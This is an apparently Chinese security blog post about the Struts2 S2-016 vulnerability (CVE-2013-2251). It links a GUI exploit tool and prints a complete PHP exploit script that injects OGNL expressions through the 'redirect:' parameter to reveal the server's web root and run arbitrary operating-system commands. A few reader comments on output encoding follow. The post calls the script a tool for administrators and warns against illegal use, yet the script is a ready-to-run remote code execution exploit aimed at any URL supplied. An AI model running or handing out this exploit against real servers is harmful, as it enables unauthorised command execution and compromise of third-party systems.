正在阅读:

Struts2 S2-16漏洞利用工具

43,002

昨天Struts漏洞大爆发,N多大站被爆出存在strtus2漏洞,百度,百合,京东等也在其中,本站也等一时间发布了strtus2漏洞的预警,具体文章请看
struts2最新s2-016代码执行漏洞 – CVE-2013-2251,当时小弟说了稍候公布利用EXP,现在就兑现承诺。

首先发一个GUI版的,是K8拉登哥哥写的,可以利用较老的struts2漏洞,如下图:

struts2-s2-16拉登哥哥

下载地址:

点我下载

2013-07-24已经更新为最新稳定版

个人感觉拉登哥的用起来不是很方便,自己也折腾了一个,PHP版的,写的比较垃圾,代码也是参考了bstaint大牛的,当然也有部分改进的地方,比如中文代码等,为防乱用,未集成Getshell功能,可作为管理员测试网站安全性之用,勿用于非法用途。

struts2漏洞利用工具php版

<?php
/**
 * Created BY 独自等待
 * Date : 13-7-18
 * Time : 上午10:42
 * FileName : struts2_S2-016.php
 * 欢迎访问独自等待博客www.waitalone.cn
 */
print_r('
+-----------------------------------------------------------------------+
                        Struts2_S2-016漏洞利用POC
                     Site:http://www.waitalone.cn/
                         Exploit BY: 独自等待
                           Time:2013-07-18
+-----------------------------------------------------------------------+
');
if ($argc < 3) {
    print_r('
+-----------------------------------------------------------------------+
Useage: php ' . $argv[0] . ' URL CMD
URL: URL with Struts2 vulnerability
CMD: The command you want to run
Example: php ' . $argv[0] . ' http://waitalone.cn/safe.action "net user"
+-----------------------------------------------------------------------+
    ');
    exit;
}
error_reporting(7);
$url = $argv[1];
$cmd = $argv[2];
$path = '?redirect:${%23a%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23b%3d%23a.getRealPath("/"),%23matt%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}';
echo '网站路径:' . @file_get_contents($url . $path) . "\n";
//执行命令函数
function command($url, $cmd)
{
    $arr = explode(' ', $cmd);
    foreach ($arr as $str) {
        $exp .= '\'' . $str . '\',';
    }
    $exp = rtrim($exp, ',');
    $url .= '?redirect:\${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{' . $exp . '})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'),%23matt.getWriter().println(\'<!-struts2exp->\'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}';
    $html = @file_get_contents($url);
    $html = iconv('utf-8', 'gbk//IGNORE', $html);
    $arr = explode('<!-struts2exp->', $html);
    return trim($arr[1]) . "\n";
}
$result = command($url, $cmd);
echo $result;
?>

目前有:2条访客评论,博主回复2

  1. winpa01
    2013-07-26 17:01

    为什么我在cmd下运行还是乱码?

    • 独自等待
      2013-07-26 17:56

      @winpa01:可能是编码问题,请保存为ANSI编码,不要用UTF-8。

  2. 星光
    2013-08-01 03:18

    亲,我留言了~~
    这个漏洞出来各大网站都中枪了

    • 独自等待
      2013-08-02 11:19

      @星光:是的,请及时关注本站安全信息,谢谢你的回复。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌